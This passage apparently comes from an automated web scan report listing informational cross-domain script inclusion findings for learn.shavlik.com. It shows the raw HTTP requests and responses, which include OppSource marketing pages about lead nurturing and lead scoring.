<link rel="profile" href="http://gmpg.org/xfn/11" />
<link rel="stylesheet" type="text/css" media="all" href="http://www.oppsource.com/wp-content/themes/oppsource3/style.css" />
<link rel="pingback" href="http://www.oppsource.com/xmlrpc.php" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Feed" href="http://www.oppsource.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Comments Feed" href="http://www.oppsource.com/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Lead Nurturing Comments Feed" href="http://www.oppsource.com/lead-nurturing/feed/" />
<link rel='stylesheet' id='A2A_SHARE_SAVE-css' href='http://www.oppsource.com/wp-content/plugins/add-to-any/addtoany.min.css?ver=1.3' type='text/css' media='all' />
<script type='text/javascript' src='http://www.oppsource.com/wp-includes/js/comment-reply.js?ver=20090102'></script>
<script type='text/javascript' src='http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2'></script>
<script type='text/javascript' src='http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1'></script>
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.oppsource.com/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.oppsource.com/wp-includes/wlwmanifest.xml" />
<link rel='index' title='Oppsource.com' href='http://www.oppsource.com/' />
<link rel='prev' title='homepage' href='http://www.oppsource.com/' />
<link rel='next' title='Lead Scoring' href='http://www.oppsource.com/lead-scoring/' />
<meta name="generator" content="WordPress 3.0.1" />



<meta name="description" content="By integrating three essential elements, lead nurturing is a major opportunity to improve revenue with better qualified opportunities. Learn more today!" />
<meta name="keywords" content="lead management, lead nurturing, sales relationship, qualified sales opportunity, oppsource" />
<link rel="canonical" href="http://www.oppsource.com/lead-nurturing/" />

<style type="text/css">
.avatar {vertical-align:middle}
.credit {font-size: 50%;}
</style>
       
<script type="text/javascript">
   var analyticsFileTypes = [''];
   var analyticsEventTracking = 'enabled';
</script>
<script type="text/javascript">
   var _gaq = _gaq || [];
   _gaq.push(['_setAccount', 'UA-12696934-3']);
   _gaq.push(['_trackPageview']);

   (function() {
       var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
       ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
       var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
   })();
</script>

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/style.css" />

   <link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/secondary.css" />

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/superfish.css" media="screen">
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js"></script>

<script type="text/javascript">

// initialise plugins
jQuery(function(){
   jQuery('ul.sf-menu').superfish();
});

$(window).unload(function(){
   $('ul.sf-menu li.current').hideSuperfishUl();
});

</script>

<link href="/wp-content/themes/oppsource3/style/header.css" type="text/css" rel="stylesheet" />
<style>
   body {
       background:url(http://www.oppsource.com/wp-content/themes/oppsource3/images/bg_top.jpg) repeat-x #bdbcaf ;
   }
   #header{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/header_bg.png') no-repeat;
   }
   #main_wrapper{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/side_Gradient.png') repeat-y;
   }
</style>
</head>

<body >
<div id="wrapper">
   <div id="header">
   <a href="/"><img id="logo" src="http://www.oppsource.com/wp-content/themes/oppsource3/images/logo2.jpg" height="54" width="226"></a>
   <div id="right_Nav">
    <a href="/careers">CAREERS</a> |
       <a href="/contact-us">CONTACT US</a> |
       <a href="/customer-login">CUSTOMER LOGIN</a>
   </div>
</div>
<br style="clear:both;">
<div id="main_wrapper" >
   <div id="main">
       <div id="nav" >
           <ul class="sf-menu">
                   <li class="current navFirstTopLevel first">
                       <a href="/lead-management" class="firstMain"><span class="topNavText">Lead Management</span></a>
                       <ul>
                           <li>
                               <a href="/content-marketing">Content Marketing</a>
                           </li>
                           <li>
                               <a href="/lead-capture">Lead Capture</a>
                           </li>
                           <li>
                               <a href="/lead-nurturing">Lead Nurturing</a>
                           </li>
                           <li>
                               <a href="/lead-scoring">Lead Scoring</a>
                           </li>
                           <li>
                               <a href="/opportunity-handoff">Opportunity Handoff</a>
                           </li>
                           <li>
                               <a href="/lead-funnel-measurement">Lead Funnel Measurement</a>
                           </li>
                       </ul>
                   </li>
                   <li class="second middle">
                       <a href="/services" ><span class="topNavText">Services</span></a>
                       
                   </li>
                   <li class="third middle">
                       <a href="/customers" ><span class="topNavText">Customers</span></a>
                   </li>
                   <li class="fourth middle">
                       <a href="/about-oppsource" ><span class="topNavText">About Us</span></a>
                       <ul>
                           <li>
                               <a href="/about-oppsource">About Oppsource</a>
                           </li>
                           <li>
                               <a href="/leadership">Leadership</a>
                           </li>
                           
                       </ul>
                   </li>
                   <li class="navLastTopLevel fifth">
                       <a href="/blog"><span class="topNavText">OppSource Blog</span></a>
                   </li>
               </ul>
       </div>
       <br style="clear:both;">


       <div id="content" style="background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/secondaryBg.gif') repeat-y;">
                           <div id="leftCol"><img width="196" height="478" src="/wp-content/themes/oppsource3/images/leftCol/leadNurturing.jpg" alt="A more personalized approach" /></div>
<div id="mainCol">
<div id="mainColInner">
<h1>A more <span class="blueBigText">personalized</span> approach.</h1>
<p>Our lead nurturing process is more personalized than the one-dimensional automation solutions offered by other companies ... and more cost-efficient because it doesn...t require you to hire expensive on-staff expertise.</p>
<h1 style="font-size: 20px;">Lead Nurturing</h1>
<p>Lead nurturing is about continuing the conversation using digital and personal contact with prospects. Studies show that 80% of leads not yet qualified will buy something within 24 months. Therefore lead nurturing represents a major opportunity to improve revenue with better qualified opportunities.</p>
<div style="margin-bottom: 10px;">Our lead nurturing integrates three essential elements:</div>
<p><strong>Process</strong> - defines how leads will be communicated with and managed using data segmentation<br />
<strong>People</strong> - personal contact allows the true intentions of a prospect to be validated. We use personal conversations following a defined methodology coupled with the lead database to assess, identify and determine whether a lead is a QSO <br />
<strong>Technology</strong> - helps us streamline the nurturing process so the right resources are applied to the right prospects at the right time. Tools like lead scoring, web analytics and marketing dashboards help speed the process</p>
<p>We deliver relevant communications by mapping content to the buying cycle. In the education phase, we use tools such as white papers, microsites, videos and webinars. As the prospect moves to the interest phase, we shift to comparison data or industry studies. In the preference phase, we offer brand-specific content to differentiate you from your competition. All this helps your prospects move more quickly through the buying cycle.</p>
<div class="bottomNav">
<p class="bottomNavLink"><a href="http://www.oppsource.com/lead-management/">Lead Management</a></p>
<p class="bottomNavLink"><a href="/content-marketing">Content Marketing</a></p>
<p class="bottomNavLink"><a href="/lead-capture">Lead Capture</a></p>
<p class="bottomNavLink"><a href="/lead-scoring">Lead Scoring</a></p>
<p class="bottomNavLink"><a href="/opportunity-handoff">Opportunity Handoff</a></p>
<p class="bottomNavLink"><a href="/lead-funnel-measurement">Lead Funnel Measurement</a></p>
</div>
</div>
</div>
<div id="rightCol">
<div class="singleLeftNavLinkContainer" style="margin: 15px 0pt 0pt 10px; width: 175px; border-bottom: 3px solid #f36f3e; padding-bottom: 20px;">
<div style="text-align: center;"><img width="70" height="72" alt="Lead Nurturing" src="/wp-content/themes/oppsource3/images/icons/leadNurturing.jpg" title="Lead Nurturing" class="alignnone size-full wp-image-258" /> <br style="clear: both;" />
<div style="color: #333333; font-size: 18px; text-align: center; margin-top: 15px;">Lead Nurturing</div>
</div>
</div>
<div style="padding: 20px; line-height: 16px;">
<p class="quote" style="margin-bottom: 10px; font-size: 16px; line-height: 22px;"><span style="font-size: 16px;">"</span>Lead nurturing is a way of extending the sales cycle to make sure a particular product or service remains top of mind until a prospect is ready to purchase.<span style="font-size: 16px;">"</span></p>
<br style="clear: both;" />
<p>Ian Michiels, Senior Analyst<br />
Aberdeen Group</p>
</div>
</div>
<p> </p>
       </div>


           <br style="clear:both;">
           <div id="footer">
           <div id="socialMedia">
               <p>FOLLOW<BR>US ON:</p>
               <a href="http://www.facebook.com/oppsource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/facebook.jpg"></a>
               <a href="http://twitter.com/OppSource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/twitter.jpg"></a>
               <a href="http://www.linkedin.com/company/oppsource.com"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/linkedIn.jpg"></a>
               <p class="singleLine">SUBSCRIBE:</p>
               <a href="/index.php?feed=rss"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/rss.jpg"></a>
               <p class="singleLine">OppSource Blog</p>
           </div>
           <div style=" float:right; margin-top:8px;">
               <div style=" font-weight:bold;">
                   
                   <a href="/services" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Services</a> |
                   <a href="/customers" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Customers</a> |
                   <a href="/about-oppsource" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">About Us</a>
               </div>
           </div>

           <br style="clear:both;"><br><br>


       </div>
       <br style="clear:both;">


   <span>© Copyright 2011. OppSource Inc. All rights reserved</span>
   </div>

   <br style="clear:both;">
</div>
   <div id="bottomRounded" style="width:966px; height:36px; background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/footer.png') no-repeat;" >

</div>
</div>

</body>
</html>

7.13. http://learn.shavlik.com/lead-scoring previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/lead-scoring

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1
http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js
http://www.oppsource.com/wp-includes/js/comment-reply.js?ver=20090102
http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2

Request

GET /lead-scoring HTTP/1.1
Host: learn.shavlik.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: CFTOKEN=95679479; __utmz=202100691.1300711269.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=610666; __utma=202100691.944756920.1300711269.1300711269.1300711269.1; __utmc=202100691; __utmb=202100691.4.10.1300711269;

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 21 Mar 2011 15:41:17 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.9-2
X-Pingback: http://www.oppsource.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8

   <script language = "javascript">
       window.location = 'http://learn.shavlik.com/shavlik/';
   </script>

<!DOCTYPE html>
<html dir="ltr" lang="en-US">
<head>
<meta charset="UTF-8" />
<title>Lead Scoring, Minneapolis, St. Paul, Minnesota</title>
<link rel="profile" href="http://gmpg.org/xfn/11" />
<link rel="stylesheet" type="text/css" media="all" href="http://www.oppsource.com/wp-content/themes/oppsource3/style.css" />
<link rel="pingback" href="http://www.oppsource.com/xmlrpc.php" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Feed" href="http://www.oppsource.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Comments Feed" href="http://www.oppsource.com/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Lead Scoring Comments Feed" href="http://www.oppsource.com/lead-scoring/feed/" />
<link rel='stylesheet' id='A2A_SHARE_SAVE-css' href='http://www.oppsource.com/wp-content/plugins/add-to-any/addtoany.min.css?ver=1.3' type='text/css' media='all' />
<script type='text/javascript' src='http://www.oppsource.com/wp-includes/js/comment-reply.js?ver=20090102'></script>
<script type='text/javascript' src='http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2'></script>
<script type='text/javascript' src='http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1'></script>
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.oppsource.com/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.oppsource.com/wp-includes/wlwmanifest.xml" />
<link rel='index' title='Oppsource.com' href='http://www.oppsource.com/' />
<link rel='prev' title='Lead Nurturing' href='http://www.oppsource.com/lead-nurturing/' />
<link rel='next' title='Opportunity Handoff' href='http://www.oppsource.com/opportunity-handoff/' />
<meta name="generator" content="WordPress 3.0.1" />



<meta name="description" content="OppSource...s lead scoring model allows for the determination of behaviors and the ability to guide the next action in the lead management process." />
<meta name="keywords" content="lead management, lead scoring, lead nurturing, oppsource" />
<link rel="canonical" href="http://www.oppsource.com/lead-scoring/" />

<style type="text/css">
.avatar {vertical-align:middle}
.credit {font-size: 50%;}
</style>
       
<script type="text/javascript">
   var analyticsFileTypes = [''];
   var analyticsEventTracking = 'enabled';
</script>
<script type="text/javascript">
   var _gaq = _gaq || [];
   _gaq.push(['_setAccount', 'UA-12696934-3']);
   _gaq.push(['_trackPageview']);

   (function() {
       var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
       ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
       var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
   })();
</script>

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/style.css" />

   <link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/secondary.css" />

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/superfish.css" media="screen">
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js"></script>

<script type="text/javascript">

// initialise plugins
jQuery(function(){
   jQuery('ul.sf-menu').superfish();
});

$(window).unload(function(){
   $('ul.sf-menu li.current').hideSuperfishUl();
});

</script>

<link href="/wp-content/themes/oppsource3/style/header.css" type="text/css" rel="stylesheet" />
<style>
   body {
       background:url(http://www.oppsource.com/wp-content/themes/oppsource3/images/bg_top.jpg) repeat-x #bdbcaf ;
   }
   #header{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/header_bg.png') no-repeat;
   }
   #main_wrapper{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/side_Gradient.png') repeat-y;
   }
</style>
</head>

<body >
<div id="wrapper">
   <div id="header">
   <a href="/"><img id="logo" src="http://www.oppsource.com/wp-content/themes/oppsource3/images/logo2.jpg" height="54" width="226"></a>
   <div id="right_Nav">
    <a href="/careers">CAREERS</a> |
       <a href="/contact-us">CONTACT US</a> |
       <a href="/customer-login">CUSTOMER LOGIN</a>
   </div>
</div>
<br style="clear:both;">
<div id="main_wrapper" >
   <div id="main">
       <div id="nav" >
           <ul class="sf-menu">
                   <li class="current navFirstTopLevel first">
                       <a href="/lead-management" class="firstMain"><span class="topNavText">Lead Management</span></a>
                       <ul>
                           <li>
                               <a href="/content-marketing">Content Marketing</a>
                           </li>
                           <li>
                               <a href="/lead-capture">Lead Capture</a>
                           </li>
                           <li>
                               <a href="/lead-nurturing">Lead Nurturing</a>
                           </li>
                           <li>
                               <a href="/lead-scoring">Lead Scoring</a>
                           </li>
                           <li>
                               <a href="/opportunity-handoff">Opportunity Handoff</a>
                           </li>
                           <li>
                               <a href="/lead-funnel-measurement">Lead Funnel Measurement</a>
                           </li>
                       </ul>
                   </li>
                   <li class="second middle">
                       <a href="/services" ><span class="topNavText">Services</span></a>
                       
                   </li>
                   <li class="third middle">
                       <a href="/customers" ><span class="topNavText">Customers</span></a>
                   </li>
                   <li class="fourth middle">
                       <a href="/about-oppsource" ><span class="topNavText">About Us</span></a>
                       <ul>
                           <li>
                               <a href="/about-oppsource">About Oppsource</a>
                           </li>
                           <li>
                               <a href="/leadership">Leadership</a>
                           </li>
                           
                       </ul>
                   </li>
                   <li class="navLastTopLevel fifth">
                       <a href="/blog"><span class="topNavText">OppSource Blog</span></a>
                   </li>
               </ul>
       </div>
       <br style="clear:both;">


       <div id="content" style="background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/secondaryBg.gif') repeat-y;">
                           <div id="leftCol"><img width="196" height="478" alt="Knowing where your customers stand at all times" src="/wp-content/themes/oppsource3/images/leftCol/leadScoring.jpg" /></div>
<div id="mainCol">
<div id="mainColInner">
<h1>Knowing where your <span class="blueBigText">customers stand</span> at all times.</h1>
<p>Essential to the success of any lead management process is lead scoring, tracking and measurement of where prospects stand in the buying cycle. Our process contains three important steps that assure leads are properly tracked and measured:</p>
<h1 style="font-size: 20px;">Lead Scoring</h1>
<p>Lead scoring quantifies each interaction between the prospect and your company, whether it...s digital, physical or a phone call. Our lead scoring model uses a set of criteria to determine behaviors and guide the next action in the process. Scoring allows us to rank leads within the marketing funnel and better prioritize those in need of personal contact.</p>
<p>Our lead scoring approach integrates website/microsite metrics into the model and creates a digital record of a prospect...s behavior based on certain criteria. We also use a feature called account optimization, a web-based research process, to make sure we...re reaching all individuals involved in the buying decision.</p>
<div class="bottomNav">
<p class="bottomNavLink"><a href="http://www.oppsource.com/lead-management/">Lead Management</a></p>
<p class="bottomNavLink"><a href="/content-marketing">Content Marketing</a></p>
<p class="bottomNavLink"><a href="/lead-capture">Lead Capture</a></p>
<p class="bottomNavLink"><a href="/lead-nurturing">Lead Nurturing</a></p>
<p class="bottomNavLink"><a href="/opportunity-handoff">Opportunity Handoff</a></p>
<p class="bottomNavLink"><a href="/lead-funnel-measurement">Lead Funnel Measurement</a></p>
</div>
</div>
</div>
<div id="rightCol">
<div style="margin: 15px 0pt 0pt 10px; width: 175px; border-bottom: 3px solid #f36f3e; padding-bottom: 20px;" class="singleLeftNavLinkContainer">
<div style="text-align: center;"><img width="70" height="72" class="alignnone size-full wp-image-258" title="leadTracking" src="/wp-content/themes/oppsource3/images/icons/leadScoring.jpg" alt="Lead Scoring" /> <br style="clear: both;" />
<div style="color: #333333; font-size: 18px; text-align: center; margin-top: 15px;">Lead Scoring</div>
</div>
</div>
<div style="padding: 20px; line-height: 16px;">
<p class="quote" style="margin-bottom: 10px; font-size: 16px; line-height: 22px;"><span style="font-size: 16px;">"</span>According to Aberdeen Research, companies that get lead scoring right have a 192% higher average lead qualification rate than those who do not.<span style="font-size: 16px;">"</span></p>
<br style="clear: both;" />
<p>Source: Aberdeen Group, Lead Scoring and Prioritization</p>
</div>
</div>
       </div>


           <br style="clear:both;">
           <div id="footer">
           <div id="socialMedia">
               <p>FOLLOW<BR>US ON:</p>
               <a href="http://www.facebook.com/oppsource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/facebook.jpg"></a>
               <a href="http://twitter.com/OppSource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/twitter.jpg"></a>
               <a href="http://www.linkedin.com/company/oppsource.com"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/linkedIn.jpg"></a>
               <p class="singleLine">SUBSCRIBE:</p>
               <a href="/index.php?feed=rss"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/rss.jpg"></a>
               <p class="singleLine">OppSource Blog</p>
           </div>
           <div style=" float:right; margin-top:8px;">
               <div style=" font-weight:bold;">
                   
                   <a href="/services" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Services</a> |
                   <a href="/customers" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Customers</a> |
                   <a href="/about-oppsource" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">About Us</a>
               </div>
           </div>

           <br style="clear:both;"><br><br>


       </div>
       <br style="clear:both;">


   <span>© Copyright 2011. OppSource Inc. All rights reserved</span>
   </div>

   <br style="clear:both;">
</div>
   <div id="bottomRounded" style="width:966px; height:36px; background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/footer.png') no-repeat;" >

</div>
</div>

</body>
</html>

7.14. http://learn.shavlik.com/leadership previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/leadership

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1
http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js
http://www.oppsource.com/wp-includes/js/comment-reply.js?ver=20090102
http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2

Request

GET /leadership HTTP/1.1
Host: learn.shavlik.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: CFTOKEN=95679479; __utmz=202100691.1300711269.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=610666; __utma=202100691.944756920.1300711269.1300711269.1300711269.1; __utmc=202100691; __utmb=202100691.4.10.1300711269;

Response

7.15. http://learn.shavlik.com/opportunity-handoff previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/opportunity-handoff

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1
http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js
http://www.oppsource.com/wp-includes/js/comment-reply.js?ver=20090102
http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2

Request

GET /opportunity-handoff HTTP/1.1
Host: learn.shavlik.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: CFTOKEN=95679479; __utmz=202100691.1300711269.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=610666; __utma=202100691.944756920.1300711269.1300711269.1300711269.1; __utmc=202100691; __utmb=202100691.4.10.1300711269;

Response

7.16. http://learn.shavlik.com/services previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/services

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1
http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js
http://www.oppsource.com/wp-includes/js/comment-reply.js?ver=20090102
http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2

Request

GET /services HTTP/1.1
Host: learn.shavlik.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: CFTOKEN=95679479; __utmz=202100691.1300711269.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=610666; __utma=202100691.944756920.1300711269.1300711269.1300711269.1; __utmc=202100691; __utmb=202100691.4.10.1300711269;

Response

7.17. http://learn.shavlik.com/shavlik/mail-list-patch-management-org.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/shavlik/mail-list-patch-management-org.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1
http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js
http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2

Request

GET /shavlik/mail-list-patch-management-org.aspx HTTP/1.1
Host: learn.shavlik.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: CFTOKEN=95679479; __utmz=202100691.1300711269.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=610666; __utma=202100691.944756920.1300711269.1300711269.1300711269.1; __utmc=202100691; __utmb=202100691.4.10.1300711269;

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Mon, 21 Mar 2011 15:41:17 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.9-2
X-Pingback: http://www.oppsource.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Mon, 21 Mar 2011 15:41:17 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache

   <script language = "javascript">
       window.location = 'http://learn.shavlik.com/shavlik/';
   </script>
   <script language = "javascript">
       window.location = 'http://learn.shavlik.com/shavlik/';
   </script>

<!DOCTYPE html>
<html dir="ltr" lang="en-US">
<head>
<meta charset="UTF-8" />
<title>Nothing found for Shavlik Mail-list-patch-management-org Aspx</title>
<link rel="profile" href="http://gmpg.org/xfn/11" />
<link rel="stylesheet" type="text/css" media="all" href="http://www.oppsource.com/wp-content/themes/oppsource3/style.css" />
<link rel="pingback" href="http://www.oppsource.com/xmlrpc.php" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Feed" href="http://www.oppsource.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Comments Feed" href="http://www.oppsource.com/comments/feed/" />
<link rel='stylesheet' id='A2A_SHARE_SAVE-css' href='http://www.oppsource.com/wp-content/plugins/add-to-any/addtoany.min.css?ver=1.3' type='text/css' media='all' />
<script type='text/javascript' src='http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2'></script>
<script type='text/javascript' src='http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1'></script>
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.oppsource.com/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.oppsource.com/wp-includes/wlwmanifest.xml" />
<link rel='index' title='Oppsource.com' href='http://www.oppsource.com/' />
<meta name="generator" content="WordPress 3.0.1" />




<style type="text/css">
.avatar {vertical-align:middle}
.credit {font-size: 50%;}
</style>
       
<script type="text/javascript">
   var analyticsFileTypes = [''];
   var analyticsEventTracking = 'enabled';
</script>
<script type="text/javascript">
   var _gaq = _gaq || [];
   _gaq.push(['_setAccount', 'UA-12696934-3']);
   _gaq.push(['_trackPageview']);

   (function() {
       var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
       ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
       var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
   })();
</script>

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/style.css" />

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/superfish.css" media="screen">
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js"></script>

<script type="text/javascript">

// initialise plugins
jQuery(function(){
   jQuery('ul.sf-menu').superfish();
});

$(window).unload(function(){
   $('ul.sf-menu li.current').hideSuperfishUl();
});

</script>

<link href="/wp-content/themes/oppsource3/style/header.css" type="text/css" rel="stylesheet" />
<style>
   body {
       background:url(http://www.oppsource.com/wp-content/themes/oppsource3/images/bg_top.jpg) repeat-x #bdbcaf ;
   }
   #header{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/header_bg.png') no-repeat;
   }
   #main_wrapper{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/side_Gradient.png') repeat-y;
   }
</style>
</head>

<body >
<div id="wrapper">
   <div id="header">
   <a href="/"><img id="logo" src="http://www.oppsource.com/wp-content/themes/oppsource3/images/logo2.jpg" height="54" width="226"></a>
   <div id="right_Nav">
    <a href="/careers">CAREERS</a> |
       <a href="/contact-us">CONTACT US</a> |
       <a href="/customer-login">CUSTOMER LOGIN</a>
   </div>
</div>
<br style="clear:both;">
<div id="main_wrapper" >
   <div id="main">
       <div id="nav" >
           <ul class="sf-menu">
                   <li class="current navFirstTopLevel first">
                       <a href="/lead-management" class="firstMain"><span class="topNavText">Lead Management</span></a>
                       <ul>
                           <li>
                               <a href="/content-marketing">Content Marketing</a>
                           </li>
                           <li>
                               <a href="/lead-capture">Lead Capture</a>
                           </li>
                           <li>
                               <a href="/lead-nurturing">Lead Nurturing</a>
                           </li>
                           <li>
                               <a href="/lead-scoring">Lead Scoring</a>
                           </li>
                           <li>
                               <a href="/opportunity-handoff">Opportunity Handoff</a>
                           </li>
                           <li>
                               <a href="/lead-funnel-measurement">Lead Funnel Measurement</a>
                           </li>
                       </ul>
                   </li>
                   <li class="second middle">
